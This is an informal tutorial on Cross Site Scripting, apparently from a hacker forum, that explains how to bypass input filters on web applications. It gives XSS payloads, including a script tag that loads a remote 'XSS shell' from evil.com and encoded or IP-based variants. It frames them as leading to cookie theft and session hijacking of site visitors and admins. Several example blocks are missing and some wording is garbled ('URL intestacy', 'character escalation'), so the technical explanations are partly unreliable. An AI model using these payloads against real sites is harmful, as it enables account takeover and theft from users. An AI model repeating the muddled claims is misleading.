Introduction : A lot of people scale miniature when forming or discussing Cross Site Scripting, this lesson today will hopefully change the thoughts of others. Cross Site Scripting, persistent or not persistent is still a dangerous threat, not only to the application form, but to you. What most people forget is the dangerous inducible abilities it has to offer, even if it remains Client-Side, that doesn’t mean source changeover can’t happen, it also sure as hell doesn’t mean your not posed by a threat, a simple URL encode/hyperlink could change everything.
We will discuss:
# Tips & Discussion about the art of Cross Site Scripting
# Filters and how-to bypass
# Syntax and Explanation
# Where to go from there;
Notes! : String.fromCharCode() is case sensitive, be sure its inputted like String.fromCharCode and not string.fromCharCode()
XSS: Cross Site Scripting (X=crossed, S=site, S=scripting)
Definition: This is commonly a client-side attack but if embedded correctly in the source it could cause permanent damage to your website (mainly persistent XSS and/or XSS Shells).
Starting off, if you want to identify vulnerable sectors quickly, once you broaden your attack, view the source for combinations of <XSS or <XSS, if it results in <:XSS, then that means your request was filtered. All you really have to do is look for the finalized result, which in our case was <script>alert(„XSS“);</script>
But this doesn’t stop some people, some sites have basic filters such as:
1 ) Character evasion (<script src, etc)
2 ) <script> or any other Java relation blocked
3 ) Character(s) escaped
4 ) Magic_Quotes=ON
With a simple URL encode, we could bypass this filter, This isn’t guaranteed every time as you can easily prevent this by encoding the output based on the input parameters, filter input parameters for special characters. and of course filter output based on input parameters for special characters. An example of URL Encoding in action:
Our request is encoded but remains readable (its a URL intestacy). What this does is bypass basic filters (mainly character escalation);
<script>alert(String.fromCharCode(88, 83, 83))</script>
88, 83, 83 are the characterized version of XSS
If it has Character evasion as a filter, we can bypass this quite easily because there are alternatives is <script> is blocked, but in this case we will concentrate on successfully including our XSS Shell:
<SCRIPT a=">" SRC="http://evil.com/evil/shell.asp"></SCRIPT>
But even if we use this shortcut, there is a possibility that magic quotes is on and filter arrays are in place. To bypass this, there are two methods, IP utilization and String.fromCharCode, we will discuss String.fromCharCode first.
The chars represent „http://www.evil.com/evil.asp“.
Now we are going to discuss the possibility of lengthen preventions and URL’s programmically not being allowed.
In some cases, you aren’t allowed to execute/read from whatever in $page, sometimes inputs are sanitized and that includes (HTTP/www/com/net/org/uk/co/cc, etc) . To bypass this, you could read from an IP address to reinstate your evil file. Example:
In some cases, it can work, and in others, not so much. What we are basically doing is reading from the IP address, and reinstating our request via /evil.asp (we are still taken to the original destination) .
But sometimes, we won’t be bale to make a direct connection, and for all you know, that IP you included could have been blacklisted (reverse-IP and route all those addresses to iptables), we can pass this filter using the following routes (w/ explanation)
<script src=127.0.0.1%3A80%2Fevil.asp</script> - We attempt to connect to the web service via :80, you can do this via 127.0.0.1:80 as well but some filters don't allow remote connections, that's why advisability is in play. <script src=127.0.0.1:80/evil.asp</script> - As mentioned above
If the site is vulnerable, its going to be embedded in the source and every time a victim visits, logs get transferred to the index page for the admin portal.
Where do you go from here? Now you want to edit your cookie field. To do this, we use the following code:
Field replaced with the field name of the cookie path, (Ex:Name/SessionID,etc). And ? replaced with the value.
This is also useful if you want to session hijack, an example being:
Enjoy! ~ X-pOSed